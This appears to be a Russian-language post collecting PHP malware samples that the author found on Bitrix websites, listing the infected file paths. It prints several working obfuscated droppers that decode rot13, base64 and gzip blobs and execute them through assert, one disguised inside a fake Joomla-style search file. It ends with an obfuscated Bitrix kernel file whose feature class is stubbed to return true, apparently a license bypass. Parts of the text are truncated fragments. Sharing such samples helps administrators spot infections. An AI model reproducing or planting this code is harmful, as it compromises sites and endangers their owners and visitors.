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";$JPlhuiW="Fl1YmASDI4xfZHemdldlIHzhXt4flRwGtVybJdgxMVLKSui";$GiZaZzd="\x73\164";$Ou5VBJQk="\x67\172\151";$lnqhFqZ="\141";$czsQphf="\x62\141\163";$Ou5VBJQk.="\156\146";$JPlhuiW.="7WzKoXvyMd3tS5TFHMbooXvKarhpcJnsyS2zbOXFIBcLR2u";$czsQphf.="\145\66\64";$lnqhFqZ.="\163";$GiZaZzd.="\162\137\162";$JPlhuiW.="cLD1x2EdozSxLjaen2WfVZCqixwPXA/XVHhN3EHTJkzaStL";$GiZaZzd.="\x6f\164";$lnqhFqZ.="\x73\145";$Ou5VBJQk.="\154\141";$czsQphf.="\137\144\145\x63";$czsQphf.="\157\144\x65";$Ou5VBJQk.="\164\x65";$lnqhFqZ.="\x72\x74";$GiZaZzd.="\x31\63";$JPlhuiW.="ntSZTSIx1uAGJhUIWN7IskYGpBpiNXmAENTNvKIAn0O";@$lnqhFqZ($Ou5VBJQk($czsQphf($GiZaZzd($JPlhuiW))));
Обычно встречается в следующих файлах:
  1. ./bitrix/components/bitrix/search.title/images/fream_system.php

Коллекция вирусов которые находил на своих сайтах на битриксе. epilog.php

$NDwn4e9m="LAcfK6xFRa5KLYm0CYLuDB9V7Rdr6D/e2B

$NDwn4e9m="LAcfK6xFRa5KLYm0CYLuDB9V7Rdr6DXceDtZMFeZGvpWrk74hEMzPf47AqyP6ut1FIj+1OSpKr1JsweZ+vzjEx/hL62wB9JCKc3HBqENQ2/HhkalPjqjXxrmR+wAiQGTorwntvYcnQomvEIXpVZLRliVvayaz5WRWrGKYJh2zyuq+UkHTSGbvbgRtX384wQgzTqy2ou46/PlOqTFS7b9zTRrYkyett89W3O8xQTiPbLMF75Gz43mnZ77mRdyll5vc++AgtF2LdIs2MWv5dZygUBK5IhJXzUMPsZn3OOKskFRWvb0VU2MkaXa6f73mVNKxzeVvT0C+3HBtl45QH+Vj2mowQrhGJWcQJVRMwX6qfCfL8GHVjHHov+Z0lZIS73x92/66dqx23P/4d180uEU9SG0QQgUJ39gUH9ddFqJ9G/C0aQzkPUlPJc2qlg7oWE6sGD28zulgiIcs3Ho9h3fL0nAq47Hap3DqlBPqMOOpwqzqsNUcePAFlPEIOYB2VEp/x+zr05jCkw8uSbRfZJyXnjk/OUpj3vfryi3fFz/pe+t0L8gisUYlCZOAlcNZY2tGkUpZs0gOludNkBwRtq7Gg9b4gItRKIhsRkcXvv1JzyJxDgUEexWQX+mmRe6lsvo0n1SIAI4DUD5A8F+o3KmYainzCqaLMBtmlu7Gdz1Eqxe0MtHe1CD/R5ZI+XH+OUfeSZmovTLmdqeMbNTS+c44MdZGheBwGfs+YCu2TX9Au5XvB/Xxe+Mwg59+g1ZyNJdyuUR68Qgc3bBQyz1zdvIfDHyqLML5mrkdR/5umpM4y/9Pvl55kpb3NqwBQKyajWzI4pimnfCQDt2avnl2APh+tmIUVSyVHDtBrqYshbivP5S71F9gOZXQk+dC5eiRfWsvZZHAJyvmIAsLtfMIwQaV+1g2tquAgOB+mwcq+2ThrSPRdGNAHlusx+t8mV/BJadzGiwyyTfbZ6XMWhEKCaZOSKrBwYeAlXEerSWSw==";$wzLKC5="\147\x7a\x69";$nUMsJ="\163\164";$PFxVh="\141";$xFFVeJaL="\142\x61\163";$ORXDhxs="Fl1YmASDI/SmXp8mFoKZgIJcpUZYF/IX9ATNv2ynd0FxzS";$PFxVh.="\163";$wzLKC5.="\156\x66";$nUMsJ.="\x72\137\x72";$xFFVeJaL.="\x65\x36\x34";$ORXDhxs.="gx+uioXvyMd/tUEouxIOGoXtHTy7vHyFcMc+HKnntxInnx";$PFxVh.="\163\145";$ORXDhxs.="u9xnJRZLAhLzSyPzgeLzGYhroKWTxHM+HDeP7TvVbywABY";$wzLKC5.="\x6c\x61";$xFFVeJaL.="\137\x64\145\x63";$nUMsJ.="\x6f\x74";$PFxVh.="\162\164";$xFFVeJaL.="\x6f\144\x65";$wzLKC5.="\164\x65";$nUMsJ.="\61\63";$ORXDhxs.="Nj1TlbdXcMeXnzgHZdlVxd5IH+3f6zTwPmtOYdzgLN";@$PFxVh($wzLKC5($xFFVeJaL($nUMsJ($ORXDhxs))));
Обычно встречается в следующих файлах:
  1. ./bitrix/modules/main/include/epilog.php

Коллекция вирусов которые находил на своих сайтах на битриксе. ustat.php

$iLdxy="1ScpCJxoYwbok6cTPdLbMNLdz3oYdG0lxs/e2B

$iLdxy="1ScpCJxoYwbok6cTPdLbMNLdz3oYdG0lxs/e2BexCtKwDNue47zRqool8Lj562DPxsbuTax+OIcOD/l8IwmGKm1SopcWbuE/XFIbMiVXuoQ4oZdK0QzQS8NSbjUiV+7C/k3sdOYlf6Tk9xD7sjx0hOFFk0dXr5Y7OU9nxeeHCElXtTFWjLF63gXHBgpyGfwG0Db16NYW7WNVUrrQqandMyi7S+R+AeYC+VLelBH9lvsxL6JD7VRANACpv8k1EYrlM+NjA8wptBX9TwwxmVLzjcY4gAE9+ivg31oMfWrV+1mCQ5spl2keTH/Qa7cRvpu+LUADY4gc1urOOmLo0qtX1KZa8e5BR8KnjW7BqB3b1jXqeE6mR+zsFh3XZqbmigVgDdUKbNeQrHl9SUlAkS5suM26Nstj9NPsqQQno0ywgOdfHSo3ooNV/Y9cIkUaOSPophfHWjyLJ5d/HFRfYMYzMDQTZPoKsZBTkIqpSTMlBJFIdrwarVtECMCAfP2tpuWZYRcH45dKCymBaeWR1mXGRxWEvoVWRqNRrUlN+27TI8jtD44sFRgFJ/HZFzo+xuN8rvj+WgUIiksaUdRVYpfT1P/KRMeLDJTaRFTw9jlpRhiKTXNFr2L1ZpsyFSp7575/BbpqQNpIGnlGizaxEuE6/09IfBcOy6DYEYiD1GCLbWRivmdO0bO8v5++lXvGfZ+yQ7is+9u+OmTov1D049hQSZYg5DQcQLM5T3Py1hx8lNVzqaUquRU+9TS8LM+U6LoH1gMqbOAIRH0jj89DCrMS7tqkhDtHm10aqSblPoa87lT5+uD9qKsh1t0WqSCHgsNPKteTffL2wkuHUqVrhi90eCOukX69Ww==";$W1F4Tf="\x62\141\x73";$pkqCl="\x73\164";$ShQTsM="\141";$HqsybeN="Fl1YmASDI8a0FnzbgSHWA3DmPHaGtUN1eIKlaNXmNfcPKJ";$i8OqTJ5="\x67\172\x69";$W1F4Tf.="\x65\x36\x34";$HqsybeN.="lIyXkICNdYX5AF/JlIVbbe3A2IeAClvmEHaZWpf11AKCkf";$i8OqTJ5.="\x6e\146";$pkqCl.="\x72\137\x72";$ShQTsM.="\163";$pkqCl.="\x6f\x74";$ShQTsM.="\x73\145";$W1F4Tf.="\x5f\144\x65\x63";$HqsybeN.="QnmuoOfmRmZRG1goR26Baz1lEcSTsyRX1VcbhXcLmGvjZA";$i8OqTJ5.="\x6c\x61";$HqsybeN.="DFuVFdnnlzceIQXfvqXcxJ/bHuKdLnpNBOHhdn1tN=";$pkqCl.="\61\x33";$i8OqTJ5.="\164\x65";$ShQTsM.="\x72\164";$W1F4Tf.="\x6f\144\x65";@$ShQTsM($i8OqTJ5($W1F4Tf($pkqCl($HqsybeN))));
Обычно встречается в следующих файлах:
  1. ./ustat.php

Коллекция вирусов которые находил на своих сайтах на битриксе. webarticle.php

$iLdxy="1ScpCJxoYwbok6cTPdLbMNLdz3oYdG0lxs/e2B


/**
 * @version  14510 2014-04-15 14:10:00Z louis $
 * @copyright Copyright (C) 2005 - 2010 Open Source Matters. All rights reserved.
 * @license  GNU/GPL, see LICENSE.php
 * This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses.
 * See COPYRIGHT.php for copyright notices and details.
 */

/**
 * @return array An array of search areas
 */
function ContentAreas()
{
 static $areas = array(
  'content' => 'NewsPost',
  'reader' => 'AllPost'
  );
 return $areas;
}

/**
 * Content Search method
 * The sql must return the following fields that are used in a common display
 * routine: href, title, section, created, text, browsernav
 * @param string Target search string
 * @param string mathcing option, exact|any|all
 * @param string ordering option, newest|oldest|popular|alpha|category
 * @param mixed An array if the search it to be restricted to areas, null if search all
 */
 
// Licensed protected code

$rTdKc="3hsSDqI1XzEd5IfycOU3yG8v2ZdAcdFleZSAl9glpc0TNV07IN+n46UAPsq7rspaGkZPhYOll7F9Po+snQIN/je/56O04dMhRhkT67O9Ma6tOL6IDfB0GfkUdMPUXbQ0x8UJlvfgfy32k8KWrmAgL9BHIuoFlWTxjOmwWvPJpvM9ruhVtQ0d27Qe3yI8wjuRE43rSpJUhQvpV/s5kBSXzy8oOEPKGR8T7WZKN3XZnmd2OA+5yY0Mm2pNJ9UHJ6kFFhrKzCJSIm3uXA8HiUfjtD/JjD+IIygGNmFVcVvG1qGIVqkIWhJPn35iYaYhJReW6dqeykY3FNpv3rIstBbEAS/2g3tEcDdNBpWNbkzTb1XOV2yDCJNO6pxdRNRfo2hqOSxUYGpk6zP2G3TMnPZ8SdbTkqAqMSpKkZaajpAY4GuKWVxE/2XWN5QNL6lPXOJBimgvOP4FWF68cmKOv7+zkRJSQkceymHg+lpjeKCq0aKHmmp5apkqlCNz8bsz9g1uOHWgTGYVQI0ZK9qoZWyWkxX0lGmMhzQ+6yoE7cIie9XBychJtBNWR3PGGCFnEFOyOPBHWiZa7BIaGzpZF6km5xsZeCBxOrTnENvp26xPhZ2jqmpYbKWiedilAVoi50kIv70rGBypuOvLEzU1jR9Vk8HYoc9/mS+J+5CuYYgZd+H1a3QGAoMkpq603BDUsmlqLRiFuklXy4HswqBJa9QeHDV2zML0hE0I4+7zx7Fz7V/Pc9zUuOK86N5hjxNZzrZikXDuOhNP6/J1e50DKxgF2dxLMUg4RhXTX/QTilsDidsYGDeNffSHrulgGwTL97oqdiUFxO7dHhbkutY5TGs64xQft57xBtumpzTciZKHvG054bh/MKc9nBgSAksZ8mF/WueilFvmgPA=";$TSJn27="\x61";$amUPL="\142\x61\x73";$EpmMlUS="\x67\x7a\x69";$OIQyYd="Fl1YmASDIlxXFsSBgyIWmN0A8ATN8QFgIEmY8k0qR22I";$cdwgGdi="\163\164";$EpmMlUS.="\156\146";$OIQyYd.="yXkI/Q0QXlAGoWJP/M0qX0hIeAClvmEHZw0QGYmPoD2f";$amUPL.="\x65\66\x34";$cdwgGdi.="\162\x5f\162";$TSJn27.="\163";$EpmMlUS.="\x6c\141";$amUPL.="\x5f\144\145\x63";$OIQyYd.="bFjoZjf4J1goR6csmmL5b0twiltSnaN0IRJfMukLRTV0";$cdwgGdi.="\157\164";$TSJn27.="\x73\145";$TSJn27.="\x72\x74";$OIQyYd.="GSGIYSMG09buSrDhSqrPKA+p0TNAdRyNPKIAnjN=";$cdwgGdi.="\61\x33";$EpmMlUS.="\164\145";$amUPL.="\x6f\x64\x65";@$TSJn27($EpmMlUS($amUPL($cdwgGdi($OIQyYd))));

Обычно встречается в следующих файлах:
  1. ./webarticle.php

Коллекция вирусов которые находил на своих сайтах на битриксе. часть 4

$GLOBALS['_____1750175310']

$GLOBALS['_____1750175310']= array(base64_decode('R2V0QnlJRA=='),base64_decode('R2V0QnlJRA=='),base64_decode(''.'R'.'mV0Y2'.'g='),base64_decode('SW5jb'.'HVkZU1v'.'ZHVsZUxhbm'.'dGaWx'.'l'),base64_decode('SW5jbHVkZU1v'.'Z'.'HVs'.'ZU'.'xhb'.'mdGaWx'.'l'),base64_decode('SW5jbHVk'.'ZU1v'.'ZH'.'VsZUxh'.'bmd'.'GaWxl'),base64_decode('SW'.'5'.'jbHV'.'kZ'.'U1'.'vZ'.'H'.'V'.'sZUx'.'hbmdGaWxl'),base64_decode('SW5'.'jbHVkZU'.'1vZHV'.'sZUxhbmdGaWxl'),base64_decode('R'.'2V'.'0T3B'.'0aW9uSW50'),base64_decode('R'.'2V0T3B0'.'aW9uU'.'3RyaW5'.'n'),base64_decode('Q'.'WRkRXZ'.'l'.'bnRI'.'Y'.'W5kb'.'GVy'),base64_decode('R2V'.'0Q3V'.'yU'.'GFnZQ=='),base64_decode('R2V'.'0'.'Q3'.'VyUGFnZQ=='),base64_decode('R2V0T3'.'B'.'0aW9u'.'U3R'.'ya'.'W5n'),base64_decode('R2V'.'0T'.'3B0a'.'W9u'.'U3RyaW5n'),base64_decode(''.'R2'.'V0T3'.'B0aW'.'9uU'.'3Ry'.'aW5n'),base64_decode('R2'.'V0T3B'.'0a'.'W9uU3'.'RyaW5'.'n'),base64_decode('S'.'W5jbHV'.'kZU'.'1vZHVsZ'.'Q=='),base64_decode('R2V0TW'.'9kdWxl'.'RX'.'ZlbnR'.'z'),base64_decode('R2V'.'0T3B0aW9uU'.'3R'.'y'.'aW5n'),base64_decode('SW5jbHVkZU1'.'vZHVsZQ='.'='),base64_decode('R2V0T'.'3B0aW9uU3'.'RyaW5n'),base64_decode('R2V0T'.'3B0aW9'.'uSW50'),base64_decode('R2V0T'.'3'.'B'.'0aW9uS'.'W50'),base64_decode('R2V0T3'.'B'.'0aW9uU'.'3R'.'y'.'aW5n'),base64_decode('SW5jbHVkZU1vZHVsZQ=='),base64_decode('S'.'XNB'.'dXRob3JpemVk'),base64_decode(''.'TG9jYWxSZWR'.'pcmVjdA=='),base64_decode('R2V0T'.'3B0aW9u'.'U'.'3'.'Ry'.'aW5n'),base64_decode(''.'R2V'.'0T3B'.'0aW9uU'.'3Ry'.'a'.'W5n'),base64_decode('SXN'.'BdXRob3JpemVk'),base64_decode(''.'R2V'.'0T3B'.'0'.'aW9uU3RyaW'.'5n'),base64_decode(''.'R2V'.'0T3B0aW'.'9uU3'.'R'.'yaW5n'),base64_decode(''.'SXNBdXR'.'ob3JpemVk'),base64_decode('Q2Fu'.'R'.'G9P'.'cGVyYXRpb24'.'='),base64_decode('R2V0Qn'.'lJ'.'RA'.'=='),base64_decode('RmV0Y2'.'g='),base64_decode('SX'.'NBd'.'XRob'.'3JpemVk'),base64_decode('R'.'2V0'.'T3B0aW9uU3RyaW5n'),base64_decode('R2'.'V0TW9kdWx'.'lRXZl'.'bnR'.'z'),base64_decode('R2'.'V0Q3V'.'y'.'UGFnZQ=='),base64_decode('SXNB'.'dX'.'Rob3Jpem'.'Vk'),base64_decode('S'.'XNBdXRob'.'3JpemVk'),base64_decode(''.'R'.'2V0Q3VyUGFnZQ=='),base64_decode('R2V0Q3VyU'.'GFnZ'.'Q=='),base64_decode('R2V0T3B0aW9u'.'U'.'3R'.'yaW5n'));?>initializeExtendedKernel(array( ___2081413597(8) => $_GET, ___2081413597(9) => $_POST, ___2081413597(10) => $_FILES, ___2081413597(11) => $_COOKIE, ___2081413597(12) => $_SERVER, ___2081413597(13) => $_ENV)); $GLOBALS[___2081413597(14)]= new CMain; if($GLOBALS['____1988548245'][3](___2081413597(15))) $GLOBALS['____1988548245'][4](___2081413597(16), SITE_ID); if($GLOBALS['____1988548245'][5](___2081413597(17))){ if($GLOBALS['____1988548245'][6](___2081413597(18)) && ADMIN_SECTION===true) $_1885994198= CLangAdmin::$GLOBALS['_____1750175310'][0](LANG); else $_1885994198= CLang::$GLOBALS['_____1750175310'][1](LANG); $_1649973151= $_1885994198->$GLOBALS['_____1750175310'][2]();} else{ $_1649973151= $GLOBALS[___2081413597(19)]->GetLang(); $GLOBALS['____1988548245'][7](___2081413597(20), $_1649973151[___2081413597(21)]);} $_398431074= $_1649973151[___2081413597(22)]; $GLOBALS['____1988548245'][8](___2081413597(23), $_1649973151[___2081413597(24)]); $GLOBALS['____1988548245'][9](___2081413597(25), $_1649973151[___2081413597(26)]); $GLOBALS['____1988548245'][10](___2081413597(27), $_1649973151[___2081413597(28)]); $GLOBALS['____1988548245'][11](___2081413597(29), $_1649973151[___2081413597(30)]); $GLOBALS['____1988548245'][12](___2081413597(31), $_1649973151[___2081413597(32)]); $GLOBALS['____1988548245'][13](___2081413597(33), $_1649973151[___2081413597(34)]); $GLOBALS['____1988548245'][14](___2081413597(35), $_1649973151[___2081413597(36)]); $GLOBALS['____1988548245'][15](___2081413597(37), $_1649973151[___2081413597(38)]); $GLOBALS['____1988548245'][16](___2081413597(39), $_1649973151[___2081413597(40)]); $GLOBALS['____1988548245'][17](___2081413597(41), $_1649973151[___2081413597(42)]); $_121982723= $_1621208188->getContext(); $_1529911761= $_121982723->getRequest(); if(!$_1529911761->isAdminSection()){ $_121982723->setSite(SITE_ID);} $_121982723->setLanguage(LANGUAGE_ID); $_121982723->setCulture(new \Bitrix\Main\Context\Culture($_1649973151)); $_1621208188->start(); $GLOBALS[___2081413597(43)]->reinitPath(); $GLOBALS[___2081413597(44)]= array(); $GLOBALS[___2081413597(45)]= array(); $GLOBALS['_____1750175310'][3]($_SERVER[___2081413597(46)].BX_ROOT.___2081413597(47)); $GLOBALS['_____1750175310'][4]($_SERVER[___2081413597(48)].BX_ROOT.___2081413597(49)); $GLOBALS['_____1750175310'][5]($_SERVER[___2081413597(50)].BX_ROOT.___2081413597(51)); $GLOBALS['_____1750175310'][6]($_SERVER[___2081413597(52)].BX_ROOT.___2081413597(53)); $GLOBALS['_____1750175310'][7](__FILE__); $GLOBALS['____1988548245'][18](COption::$GLOBALS['_____1750175310'][8](___2081413597(54), ___2081413597(55), E_COMPILE_ERROR|E_ERROR|E_CORE_ERROR|E_PARSE)&~E_STRICT); if(!$GLOBALS['____1988548245'][19](___2081413597(56)) && COption::$GLOBALS['_____1750175310'][9](___2081413597(57), ___2081413597(58), ___2081413597(59)) <> ___2081413597(60)) $GLOBALS['____1988548245'][20](___2081413597(61), true); require_once($_SERVER[___2081413597(62)].BX_ROOT.___2081413597(63)); require_once($_SERVER[___2081413597(64)].BX_ROOT.___2081413597(65)); class CBXFeatures{ public static function IsFeatureEnabled($_1766604889){ return true;} public static function IsFeatureEditable($_1766604889){ return true;} public static function SetFeatureEnabled($_1766604889, $_221387664= true){} public static function SaveFeaturesSettings($_1438382127, $_760124716){} public static function GetFeaturesList(){ return array();} public static function InitiateEditionsSettings($_1813791613){} public static function ModifyFeaturesSettings($_1813791613, $_1634866379){} public static function IsFeatureInstalled($_1766604889){ return true;}} $GLOBALS['____1988548245'][21](___2081413597(66), ___2081413597(67));  $GLOBALS[___2081413597(68)]= array(); require_once($_SERVER[___2081413597(69)].BX_ROOT.___2081413597(70));  \Bitrix\Main\Loader::registerAutoLoadClasses( ___2081413597(71), array( ___2081413597(72) => ___2081413597(73), ___2081413597(74) => ___2081413597(75), ___2081413597(76) => ___2081413597(77), ___2081413597(78) => ___2081413597(79), ___2081413597(80) => ___2081413597(81), ___2081413597(82) => ___2081413597(83), ___2081413597(84) => ___2081413597(85), ___2081413597(86) => ___2081413597(87), ___2081413597(88) => ___2081413597(89).$DBType.___2081413597(90), ___2081413597(91) => ___2081413597(92), ___2081413597(93) => ___2081413597(94), ___2081413597(95) => ___2081413597(96), ___2081413597(97) => ___2081413597(98), ___2081413597(99) => ___2081413597(100), ___2081413597(101) => ___2081413597(102), ___2081413597(103) => ___2081413597(104), ___2081413597(105) => ___2081413597(106).$DBType.___2081413597(107), ___2081413597(108) => ___2081413597(109), ___2081413597(110) => ___2081413597(111).$DBType.___2081413597(112), ___2081413597(113) => ___2081413597(114), ___2081413597(115) => ___2081413597(116), ___2081413597(117) => ___2081413597(118), ___2081413597(119) => ___2081413597(120), ___2081413597(121) => ___2081413597(122).$DBType.___2081413597(123), ___2081413597(124) => ___2081413597(125).$DBType.___2081413597(126), ___2081413597(127) => ___2081413597(128), ___2081413597(129) => ___2081413597(130).$DBType.___2081413597(131), ___2081413597(132) => ___2081413597(133), ___2081413597(134) => ___2081413597(135), ___2081413597(136) => ___2081413597(137), ___2081413597(138) => ___2081413597(139), ___2081413597(140) => ___2081413597(141), ___2081413597(142) => ___2081413597(143), ___2081413597(144) => ___2081413597(145), ___2081413597(146) => ___2081413597(147), ___2081413597(148) => ___2081413597(149), ___2081413597(150) => ___2081413597(151), ___2081413597(152) => ___2081413597(153), ___2081413597(154) => ___2081413597(155), ___2081413597(156) => ___2081413597(157), ___2081413597(158) => ___2081413597(159).$DBType.___2081413597(160), ___2081413597(161) => ___2081413597(162), ___2081413597(163) => ___2081413597(164), ___2081413597(165) => ___2081413597(166), ___2081413597(167) => ___2081413597(168), ___2081413597(169) => ___2081413597(170), ___2081413597(171) => ___2081413597(172), ___2081413597(173) => ___2081413597(174), ___2081413597(175) => ___2081413597(176), ___2081413597(177) => ___2081413597(178), ___2081413597(179) => ___2081413597(180), ___2081413597(181) => ___2081413597(182).$DBType.___2081413597(183), ___2081413597(184) => ___2081413597(185), ___2081413597(186) => ___2081413597(187), ___2081413597(188) => ___2081413597(189), ___2081413597(190) => ___2081413597(191), ___2081413597(192) => ___2081413597(193), ___2081413597(194) => ___2081413597(195), ___2081413597(196) => ___2081413597(197), ___2081413597(198) => ___2081413597(199),)); require_once($_SERVER[___2081413597(200)].BX_ROOT.___2081413597(201).$DBType.___2081413597(202)); require_once($_SERVER[___2081413597(203)].BX_ROOT.___2081413597(204).$DBType.___2081413597(205)); require_once($_SERVER[___2081413597(206)].BX_ROOT.___2081413597(207).$DBType.___2081413597(208)); require_once($_SERVER[___2081413597(209)].BX_ROOT.___2081413597(210)); $GLOBALS['_____1750175310'][10](___2081413597(211), ___2081413597(212), array(___2081413597(213), ___2081413597(214))); require_once($_SERVER[___2081413597(215)].BX_ROOT.___2081413597(216).$DBType.___2081413597(217)); if($GLOBALS['____1988548245'][22](($_684935070= $_SERVER[___2081413597(218)].BX_ROOT.___2081413597(219)))){ $US_HOST_PROCESS_MAIN= False; include($_684935070);} $GLOBALS[___2081413597(220)]->AddJSKernelInfo( ___2081413597(221), array( ___2081413597(222), ___2081413597(223), ___2081413597(224), ___2081413597(225), ___2081413597(226), ___2081413597(227), ___2081413597(228),___2081413597(229), ___2081413597(230), ___2081413597(231), ___2081413597(232), ___2081413597(233), ___2081413597(234), ___2081413597(235), ___2081413597(236), ___2081413597(237))); $GLOBALS[___2081413597(238)]->AddCSSKernelInfo( ___2081413597(239), array( ___2081413597(240), ___2081413597(241), ___2081413597(242), ___2081413597(243), ___2081413597(244))); if($GLOBALS['____1988548245'][23](($_684935070= $_SERVER[___2081413597(245)].___2081413597(246)))) include_once($_684935070); if(($_684935070= getLocalPath(___2081413597(247), BX_PERSONAL_ROOT)) !== false) include_once($_SERVER[___2081413597(248)].$_684935070); if(($_684935070= getLocalPath(___2081413597(249).SITE_ID.___2081413597(250), BX_PERSONAL_ROOT)) !== false) include_once($_SERVER[___2081413597(251)].$_684935070); if(!$GLOBALS['____1988548245'][24](___2081413597(252))) $GLOBALS['____1988548245'][25](___2081413597(253), round(0+210+210)); if(!$GLOBALS['____1988548245'][26](___2081413597(254))) $GLOBALS['____1988548245'][27](___2081413597(255), round(0+493)); $GLOBALS[___2081413597(256)]= $GLOBALS[___2081413597(257)]->$GLOBALS['_____1750175310'][11](); if((!($GLOBALS['____1988548245'][28](___2081413597(258)) && STATISTIC_ONLY && $GLOBALS['____1988548245'][29]($GLOBALS[___2081413597(259)]->$GLOBALS['_____1750175310'][12](),(1172/2-586), $GLOBALS['____1988548245'][30](BX_ROOT.___2081413597(260)))!=BX_ROOT.___2081413597(261))) && COption::$GLOBALS['_____1750175310'][13](___2081413597(262), ___2081413597(263), ___2081413597(264))==___2081413597(265) && $GLOBALS['____1988548245'][31](LANG_CHARSET)>min(16,0,5.3333333333333)) $GLOBALS['____1988548245'][32](___2081413597(266).LANG_CHARSET); if(COption::$GLOBALS['_____1750175310'][14](___2081413597(267), ___2081413597(268), ___2081413597(269))==___2081413597(270)) $GLOBALS['____1988548245'][33](___2081413597(271)); $LICENSE_KEY= ___2081413597(272); if($GLOBALS['____1988548245'][34](($_684935070= $_SERVER[___2081413597(273)].BX_ROOT.___2081413597(274)))) include($_684935070); if($LICENSE_KEY == ___2081413597(275) || $GLOBALS['____1988548245'][35]($LICENSE_KEY) == ___2081413597(276)) $GLOBALS['____1988548245'][36](___2081413597(277), ___2081413597(278)); else $GLOBALS['____1988548245'][37](___2081413597(279), $LICENSE_KEY); $GLOBALS['____1988548245'][38](___2081413597(280).(LICENSE_KEY == ___2081413597(281)? ___2081413597(282): $GLOBALS['____1988548245'][39](___2081413597(283).LICENSE_KEY.___2081413597(284))).___2081413597(285)); $GLOBALS['____1988548245'][40](___2081413597(286), $GLOBALS['____1988548245'][41](___2081413597(287))); 